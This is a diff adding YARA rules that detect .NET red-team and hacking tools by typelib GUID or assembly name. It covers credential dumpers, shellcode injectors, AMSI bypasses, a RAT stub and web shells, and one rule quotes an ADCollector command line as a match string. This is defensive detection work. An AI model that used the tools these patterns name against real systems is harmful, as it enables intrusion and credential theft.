+    strings:
+        $typelibguid0lo = "27a85262-8c87-4147-a908-46728ab7fc73" ascii wide
+        $typelibguid0up = "27A85262-8C87-4147-A908-46728AB7FC73" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCloud {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/chrismaddalena/SharpCloud"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "048b0239-ea13-58ff-af35-fd505b4c977a"
+    strings:
+        $typelibguid0lo = "ca4e257e-69c1-45c5-9375-ba7874371892" ascii wide
+        $typelibguid0up = "CA4E257E-69C1-45C5-9375-BA7874371892" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpSSDP {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/rvrsh3ll/SharpSSDP"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "8441e940-ab7c-5467-9db8-35f71bd57580"
+    strings:
+        $typelibguid0lo = "6e383de4-de89-4247-a41a-79db1dc03aaa" ascii wide
+        $typelibguid0up = "6E383DE4-DE89-4247-A41A-79DB1DC03AAA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_WireTap {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/WireTap"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "5513a295-8907-5a9c-adca-760b33004229"
+    strings:
+        $typelibguid0lo = "b5067468-f656-450a-b29c-1c84cfe8dde5" ascii wide
+        $typelibguid0up = "B5067468-F656-450A-B29C-1C84CFE8DDE5" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_KittyLitter {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/KittyLitter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "f457b91f-4adb-5be6-b9c2-f6cc39d4bdaf"
+    strings:
+        $typelibguid0lo = "449cf269-4798-4268-9a0d-9a17a08869ba" ascii wide
+        $typelibguid0up = "449CF269-4798-4268-9A0D-9A17A08869BA" ascii wide
+        $typelibguid1lo = "e7a509a4-2d44-4e10-95bf-b86cb7767c2c" ascii wide
+        $typelibguid1up = "E7A509A4-2D44-4E10-95BF-B86CB7767C2C" ascii wide
+        $typelibguid2lo = "b2b8dd4f-eba6-42a1-a53d-9a00fe785d66" ascii wide
+        $typelibguid2up = "B2B8DD4F-EBA6-42A1-A53D-9A00FE785D66" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpView {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/tevora-threat/SharpView"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "2ae1bc26-c137-55ce-ae2e-3204ff07f671"
+    strings:
+        $typelibguid0lo = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii wide
+        $typelibguid0up = "22A156EA-2623-45C7-8E50-E864D9FC44D3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Farmer {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mdsecactivebreach/Farmer"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "f69745b9-4ebd-547a-9af3-bc340b076e5d"
+    strings:
+        $typelibguid0lo = "37da2573-d9b5-4fc2-ae11-ccb6130cea9f" ascii wide
+        $typelibguid0up = "37DA2573-D9B5-4FC2-AE11-CCB6130CEA9F" ascii wide
+        $typelibguid1lo = "49acf861-1c10-49a1-bf26-139a3b3a9227" ascii wide
+        $typelibguid1up = "49ACF861-1C10-49A1-BF26-139A3B3A9227" ascii wide
+        $typelibguid2lo = "9a6c028f-423f-4c2c-8db3-b3499139b822" ascii wide
+        $typelibguid2up = "9A6C028F-423F-4C2C-8DB3-B3499139B822" ascii wide
+        $typelibguid3lo = "1c896837-e729-46a9-92b9-3bbe7ac2c90d" ascii wide
+        $typelibguid3up = "1C896837-E729-46A9-92B9-3BBE7AC2C90D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AESShellCodeInjector {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/san3ncrypt3d/AESShellCodeInjector"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "6253e30b-7c92-5237-a706-e93403a7c0b6"
+    strings:
+        $typelibguid0lo = "b016da9e-12a1-4f1d-91a1-d681ae54e92c" ascii wide
+        $typelibguid0up = "B016DA9E-12A1-4F1D-91A1-D681AE54E92C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpChromium {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/djhohnstein/SharpChromium"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "5364956a-e199-556a-8055-0e7b9a7b14c8"
+    strings:
+        $typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
+        $typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Get_RBCD_Threaded {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/FatRodzianko/Get-RBCD-Threaded"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "fdef6dc3-da1a-5a98-a822-94e443981fdd"
+    strings:
+        $typelibguid0lo = "e20dc2ed-6455-4101-9d78-fccac1cb7a18" ascii wide
+        $typelibguid0up = "E20DC2ED-6455-4101-9D78-FCCAC1CB7A18" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Whisker {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/eladshamir/Whisker"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "ecb0c59f-2111-58d9-8dc9-dfe005cad3be"
+    strings:
+        $typelibguid0lo = "42750ac0-1bff-4f25-8c9d-9af144403bad" ascii wide
+        $typelibguid0up = "42750AC0-1BFF-4F25-8C9D-9AF144403BAD" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ShadowSpray {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/Dec0ne/ShadowSpray"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "91dd52ef-07a1-5ffd-b5c3-59bca18d4c7c"
+    strings:
+        $typelibguid0lo = "7e47d586-ddc6-4382-848c-5cf0798084e1" ascii wide
+        $typelibguid0up = "7E47D586-DDC6-4382-848C-5CF0798084E1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_MalSCCM {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/nettitude/MalSCCM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "4a88532b-e2bc-5ce9-828d-6ef62d91f6b9"
+    strings:
+        $typelibguid0lo = "5439cecd-3bb3-4807-b33f-e4c299b71ca2" ascii wide
+        $typelibguid0up = "5439CECD-3BB3-4807-B33F-E4C299B71CA2" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SpoolSample {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/leechristensen/SpoolSample"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "38346575-cf5b-59bf-b2b2-21aacf05b8a4"
+    strings:
+        $typelibguid0lo = "640c36b4-f417-4d85-b031-83a9d23c140b" ascii wide
+        $typelibguid0up = "640C36B4-F417-4D85-B031-83A9D23C140B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpOxidResolver {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/S3cur3Th1sSh1t/SharpOxidResolver"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-22"
+        modified = "2023-04-06"
+        id = "e8a957bc-3319-51c2-8289-01bd0b8a632a"
+    strings:
+        $typelibguid0lo = "ce59f8ff-0ecf-41e9-a1fd-1776ca0b703d" ascii wide
+        $typelibguid0up = "CE59F8FF-0ECF-41E9-A1FD-1776CA0B703D" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Sharpcat {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/theart42/Sharpcat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-11-30"
+        id = "450d13c6-93ae-5bf5-bdde-d874ab6c0cd5"
+    strings:
+        $typelibguid0 = "d16fd95f-23ce-4f8d-8763-b9f5a9cdd0c3" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpNamedPipePTH {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-11-30"
+        id = "561b95a5-f32b-5fe8-9e67-3f702306be93"
+    strings:
+        $typelibguid0 = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpTokenFinder {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/HuskyHacks/SharpTokenFinder"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-12-06"
+        id = "60fd06be-041b-5fa8-8f25-41b26605ea90"
+    strings:
+        $typelibguid0 = "572804d3-dbd6-450a-be64-2e3cb54fd173" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpRODC {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/wh0amitz/SharpRODC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-12-06"
+        id = "60779e7a-048f-5095-b853-fd90c4f7449e"
+    strings:
+        $typelibguid0 = "d305f8a3-019a-4cdf-909c-069d5b483613" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_GMSAPasswordReader {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/rvazarkar/GMSAPasswordReader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-12-06"
+        id = "dc74bfce-90a1-53bd-bfe4-cb7c9c75da53"
+    strings:
+        $typelibguid0 = "c8112750-972d-4efa-a75b-da9b8a4533c7" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpShareFinder {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/mvelazc0/SharpShareFinder"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-12-19"
+        id = "bb485347-ea9b-5f26-99ad-bedc38bfecd5"
+    strings:
+        $typelibguid0 = "64bfeb18-b65c-4a83-bde0-b54363b09b71" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+
+rule HKTL_NET_GUID_POSTDump {
+    meta:
+        description = "Detects .NET red/black-team tools via typelibguid"
+        reference = "https://github.com/YOLOP0wn/POSTDump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-12-19"
+        id = "7f33e76c-0227-5c23-b821-c5c9753e2384"
+    strings:
+        $typelibguid0 = "e54195f0-060c-4b24-98f2-ad9fb5351045" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
diff --git a/yara-Neo23x0/gen_github_net_redteam_tools_names.yar b/yara-Neo23x0/gen_github_net_redteam_tools_names.yar
new file mode 100644
index 0000000..4c15098
--- /dev/null
+++ b/yara-Neo23x0/gen_github_net_redteam_tools_names.yar
@@ -0,0 +1,821 @@
+// low hanging fruits ;)
+
+rule HKTL_NET_NAME_FakeFileMaker {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/DamonMohammadbagher/FakeFileMaker"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "2c87114f-5295-583f-b567-623d478ce0eb"
+    strings:
+        $name = "FakeFileMaker" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_WMIPersistence {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/mdsecactivebreach/WMIPersistence"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "7a674596-c697-569d-a16c-3cefe4ff752a"
+    strings:
+        $name = "WMIPersistence" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+/*
+rule HKTL_NET_NAME_ADCollector {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/dev-2null/ADCollector"
+        license = "https://creativecommons.org/licenses/by-nc/4.0/"
+        hash = "5391239f479c26e699b6f3a1d6a0a8aa1a0cf9a8"
+        hash = "9dd0f322dd57b906da1e543c44e764954704abae"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        modified = "2022-09-15"
+    strings:
+        $s_name = "ADCollector" ascii wide
+        $s_compile = "AssemblyTitle" ascii wide
+
+        $fp1 = "Symantec Threat Defense" wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of ($s*)
+        and not 1 of ($fp*)
+}
+*/
+
+rule HKTL_NET_AdCollector_Sep22_1 {
+   meta:
+      description = "Detects ADCollector Tool - a lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/dev-2null/ADCollector"
+      date = "2022-09-15"
+      score = 75
+      hash1 = "241390219a0a773463601ca68b77af97453c20af00a66492a7a78c04d481d338"
+      hash2 = "cc086eb7316e68661e3d547b414890d5029c5cc460134d8b628f4b0be7f27fb3"
+      id = "48b376e4-752b-523e-b34e-65b6944c33fb"
+   strings:
+      $x1 = "ADCollector.exe --SPNs --Term key --Acls 'CN=Domain Admins,CN=Users,DC=lab,DC=local'" wide fullword
+      $s1 = "ADCollector.exe" wide fullword
+      $s2 = "ENCRYPTED_TEXT_PASSWORD_ALLOWED" ascii fullword
+      $s3 = "\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf" wide
+      $s4 = "[-] Password Does Not Expire Accounts:" wide
+      $s5 = "  * runAs:       {0}" wide fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 300KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule HKTL_NET_NAME_MaliciousClickOnceGenerator {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/Mr-Un1k0d3r/MaliciousClickOnceGenerator"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "683af3b4-4c91-5ff3-96bf-d5c1d9c19cc2"
+    strings:
+        $name = "MaliciousClickOnceGenerator" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_directInjectorPOC {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/badBounty/directInjectorPOC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "d9a430d7-b062-554b-aff4-cfd98d91e9fe"
+    strings:
+        $name = "directInjectorPOC" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_AsStrongAsFuck {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/Charterino/AsStrongAsFuck"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "4c63c8a2-5889-5177-9f66-8e5f755025a3"
+    strings:
+        $name = "AsStrongAsFuck" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_MagentoScanner {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/soufianetahiri/MagentoScanner"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "db3912bd-574c-57e2-a9b6-4b440d144471"
+    strings:
+        $name = "MagentoScanner" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_RevengeRAT_Stub_CSsharp {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/NYAN-x-CAT/RevengeRAT-Stub-CSsharp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "06dce4f9-4d7a-5976-a87a-07c539e5dbe8"
+    strings:
+        $name = "RevengeRAT-Stub-CSsharp" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_SharPyShell {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/antonioCoco/SharPyShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "3069c5eb-446e-5bfa-9df0-2e03f229d4d1"
+    strings:
+        $name = "SharPyShell" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_GhostLoader {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/TheWover/GhostLoader"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "d8d88f3f-f250-55ff-88a6-4623e12ef89d"
+    strings:
+        $name = "GhostLoader" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_DotNetInject {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/dtrizna/DotNetInject"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        modified = "2022-06-28"
+        id = "468f89c4-5b94-53be-b9e6-ad21de7d98ba"
+    strings:
+        $name = "DotNetInject" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+
+        $fp1 = "GetDotNetInjector" ascii /* MS Txt2AI 489044cadaa0175e36d286fcbe5720fd56b6a0c063beac452b2316c2714332b0 */
+        $fp2 = "JetBrains.TeamCity.Injector." wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
+        and filesize < 20MB
+        and $name and $compile
+        and not 1 of ($fp*)
+}
+
+rule HKTL_NET_NAME_ATPMiniDump {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/b4rtik/ATPMiniDump"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "97981569-fe94-5600-8319-946edb4265e7"
+    strings:
+        $name = "ATPMiniDump" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule SUSP_NET_NAME_ConfuserEx {
+    meta:
+        description = "Detects ConfuserEx packed file"
+        reference = "https://github.com/yck1509/ConfuserEx"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        score = 40
+        date = "2021-01-22"
+        modified = "2021-01-25"
+        id = "f1bda14e-c9fe-5341-8962-691a66233eb0"
+    strings:
+        $name = "ConfuserEx" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_SharpBuster {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/passthehashbrowns/SharpBuster"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "d30c8ee5-88b9-53b5-b209-51f6f3b988cf"
+    strings:
+        $name = "SharpBuster" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_AmsiBypass {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/0xB455/AmsiBypass"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash = "8fa4ba512b34a898c4564a8eac254b6a786d195b"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "26db14d8-1034-5bd1-a719-4756c832901d"
+    strings:
+        $name = "AmsiBypass" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_Recon_AD {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/outflanknl/Recon-AD"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "097de5cd-0cd4-59cc-a7b7-54cad8e6d230"
+    strings:
+        $name = "Recon-AD" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_SharpWatchdogs {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/RITRedteam/SharpWatchdogs"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "5343be58-879a-5fe7-9036-ee6a22d85f22"
+    strings:
+        $name = "SharpWatchdogs" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_SharpCat {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/Cn33liz/SharpCat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "a46be8d3-bf7b-5d86-b88b-33e6c8c152d8"
+    strings:
+        $name = "SharpCat" ascii wide fullword
+        $compile = "AssemblyTitle" ascii wide fullword
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_K8tools {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/k8gege/K8tools"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "b30fc856-073d-542f-b222-a957322732c2"
+    strings:
+        $name = "K8tools" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule HKTL_NET_NAME_HTTPSBeaconShell {
+    meta:
+        description = "Detects .NET red/black-team tools via name"
+        reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp"
+        date = "2021-01-22"
+        id = "3bd7234b-a23e-5818-aed1-52d42023943b"
+    strings:
+        $name = "HTTPSBeaconShell" ascii wide
+        $compile = "AssemblyTitle" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
